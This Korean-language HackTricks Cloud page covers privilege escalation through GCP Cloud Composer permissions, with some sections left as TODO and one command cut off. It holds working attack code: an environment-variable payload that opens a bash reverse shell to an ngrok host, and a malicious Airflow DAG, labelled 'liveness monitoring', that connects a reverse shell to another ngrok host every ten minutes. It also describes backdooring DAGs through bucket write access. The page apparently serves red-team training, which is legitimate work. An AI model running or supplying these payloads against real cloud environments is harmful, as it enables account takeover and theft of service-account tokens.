GCP - Composer Privesc
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
composer
자세한 정보:
composer.environments.create
해당 권한으로 새로 생성하는 Composer 환경에 임의의 service account를 연결할 수 있습니다. 이후 composer 내부에서 코드를 실행해 service account 토큰을 탈취할 수 있습니다.
service account가 연결된 Composer 환경 생성
```bash gcloud composer environments create privesc-test \ --project "${PROJECT_ID}" \ --location europe-west1 \ --service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" ```취약점 악용에 대한 자세한 정보는 here.
composer.environments.update
예를 들어 환경 변수를 수정하는 방식으로 composer environment를 업데이트할 수 있습니다:
코드 실행을 위한 Composer 환경 변수 업데이트
```bash # Even if it says you don't have enough permissions the update happens gcloud composer environments update \ projects/Call the API endpoint directly
PATCH /v1/projects/
{“config”: {“softwareConfig”: {“envVariables”: {“BROWSER”: “/bin/bash -c ‘bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1’ & #%s”, “PYTHONWARNINGS”: “all:0:antigravity.x:0:0”}}}}
</details>
TODO: 환경에 새로운 pypi 패키지를 추가하여 RCE 얻기
### Dags 다운로드
실행 중인 dags의 소스 코드를 확인하세요:
<details><summary>DAGs를 Composer environment에서 내보내고 다운로드</summary>
```bash
mkdir /tmp/dags
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
DAG 가져오기
python DAG 코드를 파일에 추가한 후 실행하여 import합니다:
Composer 환경에 악성 DAG 가져오기
```bash # TODO: Create dag to get a rev shell gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py ```Reverse shell DAG:
Python DAG code for reverse shell
```python import airflow from airflow import DAG from airflow.operators.bash_operator import BashOperator from datetime import timedeltadefault_args = { ‘start_date’: airflow.utils.dates.days_ago(0), ‘retries’: 1, ‘retry_delay’: timedelta(minutes=5) }
dag = DAG( ‘reverse_shell’, default_args=default_args, description=‘liveness monitoring dag’, schedule_interval=‘*/10 * * * *’, max_active_runs=1, catchup=False, dagrun_timeout=timedelta(minutes=10), )
priority_weight has type int in Airflow DB, uses the maximum.
t1 = BashOperator( task_id=‘bash_rev’, bash_command=‘bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1’, dag=dag, depends_on_past=False, priority_weight=2**31 - 1, do_xcom_push=False)
</details>
### Composer 버킷에 대한 쓰기 권한
Composer 환경의 모든 구성 요소(DAGs, plugins 및 data)는 GCP 버킷 내에 저장됩니다. 공격자가 해당 버킷에 대한 읽기 및 쓰기 권한을 가지고 있다면, 버킷을 모니터링하고 **DAG가 생성되거나 업데이트될 때마다 백도어가 심긴 버전을 제출**하여 Composer 환경이 스토리지에서 백도어 버전을 가져오게 할 수 있습니다.
Get more info about this attack in:
<a class="content_ref" href="gcp-storage-privesc.md"><span class="content_ref_label">GCP - Storage Privesc</span></a>
### 플러그인 가져오기
TODO: 플러그인 업로드로 인해 무엇을 침해할 수 있는지 확인
### 데이터 가져오기
TODO: 데이터를 업로드하여 무엇을 침해할 수 있는지 확인
> [!TIP]
> AWS 해킹 배우기 및 연습하기:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP 해킹 배우기 및 연습하기: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure 해킹 배우기 및 연습하기: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks 지원하기</summary>
>
> - [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
> - **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
>
> </details>
HackTricks Cloud

